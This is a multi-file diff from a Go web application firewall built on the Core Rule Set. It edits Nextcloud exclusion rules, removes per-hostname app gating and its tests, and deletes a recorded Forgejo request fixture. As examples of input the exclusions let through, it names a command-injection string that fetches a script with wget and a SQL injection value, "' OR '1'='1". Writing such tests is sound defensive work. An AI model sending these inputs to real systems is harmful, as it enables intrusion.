// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
||||||
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
|
||||||
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
|
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
|
||||||
|
|||||||
@@ -1,13 +1,12 @@
|
|||||||
# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that
|
# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
|
||||||
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
||||||
# sends a search, a name, a file name, a folder, a comment, a note, a status or
|
# sends a search, a name, a file name, a folder, a comment, a note, a status or
|
||||||
# a document's text. Each exclusion runs with the request, before the rules it
|
# a document's text. Each exclusion runs with the request, before the rules it
|
||||||
# switches off, so this file is loaded before the Core Rule Set's rules. Each
|
# switches off, so this file is loaded before the Core Rule Set's rules. Each
|
||||||
# comment names a request a rule refused. An exclusion on a field of a JSON body
|
# comment names a request a rule refused. An exclusion on a field of a JSON body
|
||||||
# applies only when the query has no parameter of that name, so it matters only
|
# applies only when the query has no parameter of that name, so it matters only
|
||||||
# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Nextcloud's pages are matched
|
# while SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site
|
||||||
# at the site root and under /index.php/, where a Nextcloud without pretty URLs
|
# root and under /index.php/, where a Nextcloud without pretty URLs serves them.
|
||||||
# serves them.
|
|
||||||
#
|
#
|
||||||
# Four rules read a search or a name as a command or a system file:
|
# Four rules read a search or a name as a command or a system file:
|
||||||
# 930120: .htaccess
|
# 930120: .htaccess
|
||||||
@@ -30,13 +29,6 @@
|
|||||||
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
|
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
|
||||||
# injection, path traversal and script injection are still refused there.
|
# injection, path traversal and script injection are still refused there.
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_nextcloud. It sets
|
|
||||||
# it while SWW_WAF_APPS is unset, or lists nextcloud for the request's hostname.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_nextcloud itself.
|
|
||||||
SecRule &TX:app_nextcloud "@eq 0" \
|
|
||||||
"id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
|
|
||||||
|
|
||||||
# The sync client and the Files app use these WebDAV methods besides those
|
# The sync client and the Files app use these WebDAV methods besides those
|
||||||
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
||||||
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
||||||
@@ -163,10 +155,8 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?(?:login/confirm|lostpassword/se
|
|||||||
# change: key=password&value=..., or the same in JSON. This rule is in phase 2,
|
# change: key=password&value=..., or the same in JSON. This rule is in phase 2,
|
||||||
# because a phase 1 rule runs before the body is read. It checks that the body
|
# because a phase 1 rule runs before the body is read. It checks that the body
|
||||||
# sends key once, so a second key cannot skip these rules for another field.
|
# sends key once, so a second key cannot skip these rules for another field.
|
||||||
# It checks tx.app_nextcloud, since the skip above does not reach phase 2.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \
|
||||||
"id:900127,phase:2,pass,nolog,chain"
|
"id:900127,phase:2,pass,nolog,chain"
|
||||||
SecRule &TX:app_nextcloud "@eq 1" "chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain"
|
SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain"
|
||||||
SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain"
|
SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain"
|
||||||
SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \
|
SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \
|
||||||
@@ -451,5 +441,3 @@ SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
|
|||||||
SecRule REQUEST_METHOD "@streq MKCOL" \
|
SecRule REQUEST_METHOD "@streq MKCOL" \
|
||||||
"ctl:ruleRemoveTargetById=932125;XML:/*,\
|
"ctl:ruleRemoveTargetById=932125;XML:/*,\
|
||||||
ctl:ruleRemoveTargetById=932230;XML:/*"
|
ctl:ruleRemoveTargetById=932230;XML:/*"
|
||||||
|
|
||||||
SecMarker END_NEXTCLOUD
|
|
||||||
@@ -13,7 +13,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// nextcloudThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
const nextcloudThreshold = 5
|
const nextcloudThreshold = 5
|
||||||
|
|
||||||
// nextcloudSignIn is the sign-in page.
|
// nextcloudSignIn is the sign-in page.
|
||||||
@@ -51,96 +51,6 @@ const (
|
|||||||
// nextcloudOther is a JSON field no exclusion names.
|
// nextcloudOther is a JSON field no exclusion names.
|
||||||
const nextcloudOther = `{"other":"python3"}`
|
const nextcloudOther = `{"other":"python3"}`
|
||||||
|
|
||||||
// nextcloud is Nextcloud's name in SWW_WAF_APPS.
|
|
||||||
const nextcloud = "nextcloud"
|
|
||||||
|
|
||||||
func TestNextcloudFixesApplyOnlyToAHostnameThatServesNextcloud(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {nextcloud},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A search, which only Nextcloud's fixes let through.
|
|
||||||
search := get(nextcloudUsers + "?search=python3")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudWebDAVMethodsPassOnlyOnHostnamesThatServeNextcloud(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {nextcloud},
|
|
||||||
})
|
|
||||||
|
|
||||||
// Listing a folder, as the sync client does.
|
|
||||||
list := request{nextcloudPropFind, nextcloudFiles, nil}
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(list, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(list, giteaHost), matched(911100))
|
|
||||||
|
|
||||||
// Making a calendar, as a CalDAV client does.
|
|
||||||
calendar := request{
|
|
||||||
nextcloudMkcalendar,
|
|
||||||
nextcloudCalendars + "work/",
|
|
||||||
nil,
|
|
||||||
}
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(calendar, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(calendar, giteaHost), matched(911100))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := shared(t, coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
|
||||||
BodyInspectionSize: bodyInspectionSize,
|
|
||||||
Apps: map[string][]string{
|
|
||||||
giteaHost: {gitea},
|
|
||||||
otherHost: {nextcloud},
|
|
||||||
},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A password that only the phase 2 rule 900127 lets through.
|
|
||||||
r := request{
|
|
||||||
http.MethodPut,
|
|
||||||
nextcloudUsers + "/alice",
|
|
||||||
[]string{formData},
|
|
||||||
}
|
|
||||||
body := "key=password&value=" + url.QueryEscape("' OR '1'='1")
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
|
|
||||||
if got.Score >= nextcloudThreshold {
|
|
||||||
t.Errorf(
|
|
||||||
"PUT %s %s on %s refused: %+v",
|
|
||||||
r.target,
|
|
||||||
body,
|
|
||||||
otherHost,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
|
|
||||||
if got.Score < nextcloudThreshold {
|
|
||||||
t.Errorf(
|
|
||||||
"PUT %s %s on %s let through: %+v",
|
|
||||||
r.target,
|
|
||||||
body,
|
|
||||||
giteaHost,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
||||||
// and 932260, each on a path where it skips them, ending in "=".
|
// and 932260, each on a path where it skips them, ending in "=".
|
||||||
//
|
//
|
||||||
@@ -529,7 +439,7 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
|
|||||||
func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
target := nextcloudUsers + "/alice"
|
target := nextcloudUsers + "/alice"
|
||||||
|
|||||||
@@ -13,13 +13,8 @@ import (
|
|||||||
"slices"
|
"slices"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// appsUnset labels the checks made while SWW_WAF_APPS is unset.
|
|
||||||
const appsUnset = "SWW_WAF_APPS unset"
|
|
||||||
|
|
||||||
// giteaRequests returns the recorded ordinary gitea requests in testdata.
|
// giteaRequests returns the recorded ordinary gitea requests in testdata.
|
||||||
// Each has the Referer of a page that names the same, as a page opened
|
// Each has the Referer of a page that names the same, as a page opened
|
||||||
// from it has.
|
// from it has.
|
||||||
@@ -52,31 +47,16 @@ func giteaRequests(t *testing.T) []request {
|
|||||||
return requests
|
return requests
|
||||||
}
|
}
|
||||||
|
|
||||||
// TestOrdinaryGiteaRequestsPass checks gitea's recorded requests with
|
|
||||||
// SWW_WAF_APPS unset, and on giteaHost while SWW_WAF_APPS lists only gitea for it.
|
|
||||||
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
|
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
requests := giteaRequests(t)
|
crs := atDefaults(t)
|
||||||
giteaOnly := map[string][]string{giteaHost: {gitea}}
|
|
||||||
|
|
||||||
for apps, crs := range map[string]*coreruleset.CoreRuleSet{
|
for _, r := range giteaRequests(t) {
|
||||||
appsUnset: atDefaults(t),
|
if got := inspect(t, crs, r); got.Score >= threshold {
|
||||||
"SWW_WAF_APPS=" + giteaHost + ":" + gitea: servingApps(t, giteaOnly),
|
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
|
||||||
} {
|
|
||||||
for _, r := range requests {
|
|
||||||
got := inspect(t, crs, withHost(r, giteaHost))
|
|
||||||
if got.Score >= threshold {
|
|
||||||
t.Errorf(
|
|
||||||
"%s: %s %q refused: %+v",
|
|
||||||
apps,
|
|
||||||
r.target,
|
|
||||||
r.headers[1:],
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -122,51 +102,27 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
||||||
// requests in the file name in testdata is refused: with SWW_WAF_APPS unset, and
|
// requests in the file name in testdata is refused, at the defaults and
|
||||||
// on the hostname where they were recorded, otherHost for WordPress and
|
// while bodies are read. A request with neither a body nor a Content-Type
|
||||||
// example.com for the other apps, while SWW_WAF_APPS lists only app for it. Both
|
// header is checked only at the defaults: with neither, the set that reads
|
||||||
// times, they are checked at the defaults and while bodies are read. A
|
// bodies has nothing more to check. Each request runs as its own parallel
|
||||||
// request with neither a body nor a Content-Type header is checked only at
|
// subtest.
|
||||||
// the defaults: with neither, the set that reads bodies has nothing more to
|
func wantRecordedRequestsPass(t *testing.T, name string) {
|
||||||
// check. Each request runs as its own parallel subtest for each setting of
|
|
||||||
// SWW_WAF_APPS.
|
|
||||||
func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
requests := recordedRequests(t, name)
|
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||||
|
|
||||||
for setting, apps := range map[string]map[string][]string{
|
for _, recorded := range recordedRequests(t, name) {
|
||||||
appsUnset: nil,
|
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
||||||
"SWW_WAF_APPS lists only " + app: {"example.com": {app}, otherHost: {app}},
|
|
||||||
} {
|
|
||||||
defaults := servingApps(t, apps)
|
|
||||||
bodies := shared(t, coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
|
||||||
BodyInspectionSize: bodyInspectionSize, Apps: apps,
|
|
||||||
})
|
|
||||||
|
|
||||||
for _, recorded := range requests {
|
|
||||||
t.Run(
|
|
||||||
setting+": "+recorded.Method+" "+recorded.Target,
|
|
||||||
func(t *testing.T) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
r := request{
|
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||||
recorded.Method,
|
|
||||||
recorded.Target,
|
|
||||||
recorded.Headers,
|
|
||||||
}
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, defaults, r, recorded.Body)
|
got, _ := inspectBody(t, defaults, r, recorded.Body)
|
||||||
if got.Score >= threshold {
|
if got.Score >= threshold {
|
||||||
t.Errorf(
|
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
||||||
"%s %s refused: %+v",
|
|
||||||
r.method,
|
|
||||||
r.target,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
typed := slices.ContainsFunc(
|
typed := slices.ContainsFunc(
|
||||||
@@ -183,108 +139,64 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
|||||||
|
|
||||||
got, _ = inspectBody(t, bodies, r, recorded.Body)
|
got, _ = inspectBody(t, bodies, r, recorded.Body)
|
||||||
if got.Score >= threshold {
|
if got.Score >= threshold {
|
||||||
t.Errorf(
|
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
|
||||||
"%s %s %.200q refused while bodies are read: %+v",
|
r.method, r.target, recorded.Body, got)
|
||||||
r.method,
|
|
||||||
r.target,
|
|
||||||
recorded.Body,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
},
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "drupal-requests.txt", "drupal")
|
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
||||||
}
|
}
|
||||||
|
|
||||||
// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
|
// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
|
||||||
// defaults only: with SWW_WAF_APPS unset, and on example.com, where they were
|
// defaults only. While bodies are read, the Core Rule Set still refuses the
|
||||||
// recorded, while SWW_WAF_APPS lists only forgejo for it. While bodies are read,
|
// file and branch names some of them carry in a form or JSON body, as it does
|
||||||
// the Core Rule Set still refuses a new wiki page whose title and text name
|
// gitea's (TestGiteaBodiesTheCoreRuleSetRefuses).
|
||||||
// commands and files, as it does such text in gitea's comments
|
|
||||||
// (TestGiteaBodiesTheCoreRuleSetRefuses). The requests that name a file or a
|
|
||||||
// branch in a body are checked while bodies are read in
|
|
||||||
// TestForgejoNamesInBodiesPass.
|
|
||||||
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
|
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
requests := recordedRequests(t, "forgejo-requests.txt")
|
crs := atDefaults(t)
|
||||||
forgejoOnly := map[string][]string{"example.com": {forgejo}}
|
|
||||||
|
|
||||||
for apps, crs := range map[string]*coreruleset.CoreRuleSet{
|
for _, recorded := range recordedRequests(t, "forgejo-requests.txt") {
|
||||||
appsUnset: atDefaults(t),
|
|
||||||
"SWW_WAF_APPS=example.com:forgejo": servingApps(t, forgejoOnly),
|
|
||||||
} {
|
|
||||||
for _, recorded := range requests {
|
|
||||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||||
if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
|
if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
|
||||||
t.Errorf(
|
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
||||||
"%s: %s %s refused: %+v",
|
|
||||||
apps,
|
|
||||||
r.method,
|
|
||||||
r.target,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
// TestGiteaNamesInBodiesPass checks gitea's recorded requests that name a
|
|
||||||
// file or a branch in a body, while bodies are read too.
|
|
||||||
func TestGiteaNamesInBodiesPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "gitea-names-in-bodies.txt", gitea)
|
|
||||||
}
|
|
||||||
|
|
||||||
// TestForgejoNamesInBodiesPass is TestGiteaNamesInBodiesPass for Forgejo.
|
|
||||||
func TestForgejoNamesInBodiesPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "forgejo-names-in-bodies.txt", forgejo)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestOrdinaryGhostRequestsPass(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "ghost-requests.txt", "ghost")
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "mastodon-requests.txt", "mastodon")
|
wantRecordedRequestsPass(t, "mastodon-requests.txt")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "mediawiki-requests.txt", mediawiki)
|
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "nextcloud-requests.txt", nextcloud)
|
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "vaultwarden-requests.txt", "vaultwarden")
|
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestOrdinaryWordPressRequestsPass(t *testing.T) {
|
func TestOrdinaryWordPressRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "wordpress-requests.txt", wordpress)
|
wantRecordedRequestsPass(t, "wordpress-requests.txt")
|
||||||
}
|
}
|
||||||
@@ -1,41 +0,0 @@
|
|||||||
# Ordinary Forgejo 17.0.1 requests that name a file or a branch in a body, which
|
|
||||||
# the Core Rule Set must let through while it reads bodies. They were recorded
|
|
||||||
# from a Forgejo driven by a headless Chrome, signed in, and by a script on the
|
|
||||||
# API. Each line is one request as JSON. Names, cookies and tokens are
|
|
||||||
# invented. The browser's User-Agent is an ordinary Chrome's.
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=7fdea7fc2e2e31e0acbd7c19e7a79b71b370a535&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=550f5bc9ec44f5e1a7421342d5a29584893637e0&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=918ad9ba97e11df8bb1153b69029b667a8913ab1&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d38a7aa4e96146ab653ff3f4ddfe7c4be030c0ef&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
|
|
||||||
